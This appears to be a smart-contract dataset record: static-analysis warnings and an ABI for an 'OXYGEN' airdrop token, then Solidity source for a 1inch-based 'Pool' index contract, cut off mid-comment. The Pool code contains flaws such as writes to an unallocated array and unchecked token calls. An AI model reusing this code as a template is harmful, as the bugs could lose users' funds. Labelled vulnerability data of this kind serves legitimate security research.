"impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [128, 129, 130, 131, 132]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [256, 257, 258, 259, 260, 261, 262, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [294, 295, 296, 297, 298]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [314, 315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [244, 245, 246]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [284, 285, 286]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [277, 278, 279, 280, 281, 282]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [134, 135, 136, 137, 138]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [176, 173, 174, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [321, 322, 323, 324, 325]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [305, 306, 307, 308, 309, 310, 311, 312]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [49]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [50]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [300, 301, 302, 303]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [288, 289, 290, 291, 292]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"OXYGEN.sol": [130]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [253]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [321]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [165, 166, 167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [244]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [169]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [173]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [284]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [149]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [264]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [165]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [300]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [277]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [277]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [149]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [85]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [253]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [305]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [314]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [160, 161, 162, 163, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [169, 170, 171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [264]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [284]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [165]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [264]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [169]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [74]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"OXYGEN.sol": [54]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"OXYGEN.sol": [224]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"OXYGEN.sol": [123]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"OXYGEN.sol": [86]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"OXYGEN.sol": [83]}}]
[{"error": "Integer Overflow.", "line": 42, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 241, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 302, "level": "Warning"}, {"error": "Timestamp Dependency.", "line": 194, "level": "Warning"}, {"error": "Timestamp Dependency.", "line": 202, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 92, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 49, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 55, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 61, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 244, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 284, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 288, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 277, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 170, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 170, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 69, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 72, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 73, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 92, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"add","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deadline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_wdamount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"round2","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"requestMinimum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_participant","type":"address"},{"name":"_amount","type":"uint256"}],"name":"DistributeAirdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"round1","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"progress0drop","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishDistribution","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_tokensPerEth","type":"uint256"}],"name":"updateTokensPerEth","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getTokens","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"Claimed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"distributionFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"who","type":"address"}],"name":"getTokenBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokensPerEth","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenContract","type":"address"}],"name":"withdrawForeignTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"target0drop","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalDistributed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_addresses","type":"address[]"},{"name":"_amount","type":"uint256"}],"name":"DistributeAirdropMultiple","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Distr","type":"event"},{"anonymous":false,"inputs":[],"name":"DistrFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"Airdrop","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_tokensPerEth","type":"uint256"}],"name":"TokensPerEthUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"}],"name":"Add","type":"event"}]
v0.4.25+commit.59dbf8f1
true
200
Default
None
false
bzzr://093acd4ee15d19461f391f57b49b4f5c7f96c609875930113e8c8a291951520c
Pool
0x9a8e43ff4624991aa76c11c1620e368ed17f182e
Solidity
// File: 1inch.sol pragma solidity ^0.5.0; import "./Token.sol"; contract IOneSplitConsts { // flags = FLAG_DISABLE_UNISWAP + FLAG_DISABLE_BANCOR + ... uint256 internal constant FLAG_DISABLE_UNISWAP = 0x01; uint256 internal constant DEPRECATED_FLAG_DISABLE_KYBER = 0x02; // Deprecated uint256 internal constant FLAG_DISABLE_BANCOR = 0x04; uint256 internal constant FLAG_DISABLE_OASIS = 0x08; uint256 internal constant FLAG_DISABLE_COMPOUND = 0x10; uint256 internal constant FLAG_DISABLE_FULCRUM = 0x20; uint256 internal constant FLAG_DISABLE_CHAI = 0x40; uint256 internal constant FLAG_DISABLE_AAVE = 0x80; uint256 internal constant FLAG_DISABLE_SMART_TOKEN = 0x100; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_ETH = 0x200; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_BDAI = 0x400; uint256 internal constant FLAG_DISABLE_IEARN = 0x800; uint256 internal constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000; uint256 internal constant FLAG_DISABLE_CURVE_USDT = 0x2000; uint256 internal constant FLAG_DISABLE_CURVE_Y = 0x4000; uint256 internal constant FLAG_DISABLE_CURVE_BINANCE = 0x8000; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_DAI = 0x10000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDC = 0x20000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000; uint256 internal constant FLAG_DISABLE_WETH = 0x80000; uint256 internal constant FLAG_DISABLE_UNISWAP_COMPOUND = 0x100000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_UNISWAP_CHAI = 0x200000; // Works only when ETH<>DAI or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_UNISWAP_AAVE = 0x400000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_IDLE = 0x800000; uint256 internal constant FLAG_DISABLE_MOONISWAP = 0x1000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2 = 0x2000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ETH = 0x4000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_DAI = 0x8000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_USDC = 0x10000000; uint256 internal constant FLAG_DISABLE_ALL_SPLIT_SOURCES = 0x20000000; uint256 internal constant FLAG_DISABLE_ALL_WRAP_SOURCES = 0x40000000; uint256 internal constant FLAG_DISABLE_CURVE_PAX = 0x80000000; uint256 internal constant FLAG_DISABLE_CURVE_RENBTC = 0x100000000; uint256 internal constant FLAG_DISABLE_CURVE_TBTC = 0x200000000; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDT = 0x400000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_WBTC = 0x800000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_TBTC = 0x1000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_RENBTC = 0x2000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_DFORCE_SWAP = 0x4000000000; uint256 internal constant FLAG_DISABLE_SHELL = 0x8000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN = 0x10000000000; uint256 internal constant FLAG_DISABLE_MSTABLE_MUSD = 0x20000000000; uint256 internal constant FLAG_DISABLE_CURVE_SBTC = 0x40000000000; uint256 internal constant FLAG_DISABLE_DMM = 0x80000000000; uint256 internal constant FLAG_DISABLE_UNISWAP_ALL = 0x100000000000; uint256 internal constant FLAG_DISABLE_CURVE_ALL = 0x200000000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ALL = 0x400000000000; uint256 internal constant FLAG_DISABLE_SPLIT_RECALCULATION = 0x800000000000; uint256 internal constant FLAG_DISABLE_BALANCER_ALL = 0x1000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_1 = 0x2000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_2 = 0x4000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_3 = 0x8000000000000; uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x10000000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x20000000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x40000000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_ENABLE_REFERRAL_GAS_SPONSORSHIP = 0x80000000000000; // Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_COMP = 0x100000000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_KYBER_ALL = 0x200000000000000; uint256 internal constant FLAG_DISABLE_KYBER_1 = 0x400000000000000; uint256 internal constant FLAG_DISABLE_KYBER_2 = 0x800000000000000; uint256 internal constant FLAG_DISABLE_KYBER_3 = 0x1000000000000000; uint256 internal constant FLAG_DISABLE_KYBER_4 = 0x2000000000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN_BY_ORIGIN = 0x4000000000000000; } contract IOneSplit is IOneSplitConsts { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public view returns( uint256 returnAmount, uint256[] memory distribution ); function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public payable returns(uint256 returnAmount); } contract IOneSplitMulti is IOneSplit { function getExpectedReturnWithGasMulti( IERC20[] memory tokens, uint256 amount, uint256[] memory parts, uint256[] memory flags, uint256[] memory destTokenEthPriceTimesGasPrices ) public view returns( uint256[] memory returnAmounts, uint256 estimateGasAmount, uint256[] memory distribution ); function swapMulti( IERC20[] memory tokens, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256[] memory flags ) public payable returns(uint256 returnAmount); } // File: Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: Pool.sol // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import "./Token.sol"; import "./1inch.sol"; contract Pool is ERC20 { using SafeMath for uint; address public constant EXCHANGE_CONTRACT = 0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public TMTTokenAddress; uint[] public holders; address[] public tokens; uint[] public weights; uint totalWeight; //----------------------------- uint[] buf; address[] newTokens; uint[] newWeights; uint newTotalWeight; //----------------------------- mapping(address => uint) public tokenBalances; bool public active = true; mapping(address => bool) public systemAddresses; modifier systemOnly { require(systemAddresses[msg.sender], "system only"); _; } modifier isActive() { require (active); _; } event Withdrawn(address indexed from, uint value); event WithdrawnToken(address indexed from, address indexed token, uint amount); function addSystemAddress(address newSystemAddress) public systemOnly { systemAddresses[newSystemAddress] = true; } constructor(string memory name, string memory symbol, address _TMTTokenAddress, address[] memory _tokens, uint[] memory _weights) public ERC20(name, symbol) { require (_tokens.length == _weights.length, "invalid config length"); systemAddresses[msg.sender] = true; TMTTokenAddress = _TMTTokenAddress; uint _totalWeight; for(uint i = 0; i < _tokens.length; i++) { tokens.push(_tokens[i]); weights.push(_weights[i]); _totalWeight += _weights[i]; } totalWeight = _totalWeight; } function poolIn(address[] memory _tokens, uint[] memory _values) public payable isActive() { // require(IERC20(TMTTokenAddress).balanceOf(msg.sender) > 0, "TMTToken balance must be greater then 0"); address[] memory returnedTokens; uint[] memory returnedAmounts; uint ethValue; if(_tokens.length == 0) { require (msg.value > 0.001 ether, "0.001 ether min pool in"); ethValue = msg.value; (returnedTokens, returnedAmounts) = swap(ETH_ADDRESS, ethValue, tokens, weights, totalWeight); } else if(_tokens.length == 1) { ethValue = calculateTokensForEther(_tokens, _values); assert(ethValue > 0.001 ether); (returnedTokens, returnedAmounts) = swap(_tokens[0], _values[0], tokens, weights, totalWeight); } else { ethValue = sellTokensForEther(_tokens, _values); assert(ethValue > 0.001 ether); (returnedTokens, returnedAmounts) = swap(ETH_ADDRESS, ethValue, tokens, weights, totalWeight); } for (uint i = 0; i < returnedTokens.length; i++) { tokenBalances[returnedTokens[i]] += returnedAmounts[i]; } _mint(msg.sender, ethValue); } function withdraw() public { uint _balance = balanceOf(msg.sender); uint localWeight = _balance.mul(1 ether).div(totalSupply()); require(localWeight > 0, "no balance in this pool"); _burn(msg.sender, _balance); for (uint i = 0; i < tokens.length; i++) { uint withdrawBalance = tokenBalances[tokens[i]].mul(localWeight).div(1 ether); tokenBalances[tokens[i]] = tokenBalances[tokens[i]].sub(withdrawBalance); IERC20(tokens[i]).transfer(msg.sender, withdrawBalance); emit WithdrawnToken(msg.sender, tokens[i], withdrawBalance); } emit Withdrawn(msg.sender, _balance); } function updatePool(address[] memory _tokens, uint[] memory _weights) public systemOnly { require(_tokens.length == _weights.length, "invalid config length"); uint _newTotalWeight; for(uint i = 0; i < _tokens.length; i++) { require (_tokens[i] != ETH_ADDRESS && _tokens[i] != WETH_ADDRESS); _newTotalWeight += _weights[i]; } newTokens = _tokens; newWeights = _weights; newTotalWeight = _newTotalWeight; rebalance(); } function setPoolStatus(bool _active) public systemOnly { active = _active; } function calculateTokensForEther(address[] memory _tokens, uint[] memory _amounts) public view returns(uint) { uint _amount; uint _totalAmount; uint[] memory _distribution; for(uint i = 0; i < _tokens.length; i++) { (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_tokens[i]), IERC20(WETH_ADDRESS), _amounts[i], 2, 0); _totalAmount += _amount; } return _totalAmount; } /* * @dev sell array of tokens for ether */ function sellTokensForEther(address[] memory _tokens, uint[] memory _amounts) internal returns(uint) { uint _amount; uint _totalAmount; uint[] memory _distribution; for(uint i = 0; i < _tokens.length; i++) { if (_amounts[i] == 0) { continue; } if (_tokens[i] == WETH_ADDRESS) { _totalAmount += _amounts[i]; continue; } IERC20(_tokens[i]).approve(EXCHANGE_CONTRACT, _amounts[i]); (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_tokens[i]), IERC20(WETH_ADDRESS), _amounts[i], 2, 0); if (_amount == 0) { continue; } IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(_tokens[i]), IERC20(WETH_ADDRESS), _amounts[i], _amount, _distribution, 0); _totalAmount += _amount; } return _totalAmount; } function rebalance() internal { uint[] memory buf2; buf = buf2; for (uint i = 0; i < tokens.length; i++) { buf.push(tokenBalances[tokens[i]]); tokenBalances[tokens[i]] = 0; } uint ethValue = sellTokensForEther(tokens, buf); tokens = newTokens; weights = newWeights; totalWeight = newTotalWeight; if (ethValue == 0) { return; } uint[] memory buf3; buf = buf3; swap2(WETH_ADDRESS, ethValue); for(uint i = 0; i < tokens.length; i++) { tokenBalances[tokens[i]] = buf[i]; } } function swap(address _token, uint _value, address[] memory _tokens, uint[] memory _weights, uint _totalWeight) internal returns(address[] memory, uint[] memory) { uint _tokenPart; uint _amount; uint[] memory _distribution; for(uint i = 0; i < _tokens.length; i++) { _tokenPart = _value.mul(_weights[i]).div(_totalWeight); (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_token), IERC20(_tokens[i]), _tokenPart, 2, 0); if (_token == ETH_ADDRESS) { IOneSplit(EXCHANGE_CONTRACT).swap.value(_tokenPart)(IERC20(_token), IERC20(_tokens[i]), _tokenPart, _amount, _distribution, 0); } else { IERC20(_tokens[i]).approve(EXCHANGE_CONTRACT, _tokenPart); IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(_token), IERC20(_tokens[i]), _tokenPart, _amount, _distribution, 0); } _weights[i] = _amount; } return (_tokens, _weights); } function swap2(address _token, uint _value) internal { uint _tokenPart; uint _amount; uint[] memory _distribution; IERC20(_token).approve(EXCHANGE_CONTRACT, _value); for(uint i = 0; i < newTokens.length; i++) { _tokenPart = _value.mul(newWeights[i]).div(newTotalWeight); if(_tokenPart == 0) { buf.push(0); continue; } (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_token), IERC20(newTokens[i]), _tokenPart, 2, 0); IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(_token), IERC20(newTokens[i]), _tokenPart, _amount, _distribution, 0); buf.push(_amount); } } function calculateAmountsViaWeights(uint _ethAmount) public view returns(uint[] memory res) { for(uint i = 1; i <= tokens.length; i++) { res[i] = _ethAmount.mul(weights[i]).div(totalWeight); } } } // File: Token.sol // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import "./Context.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the 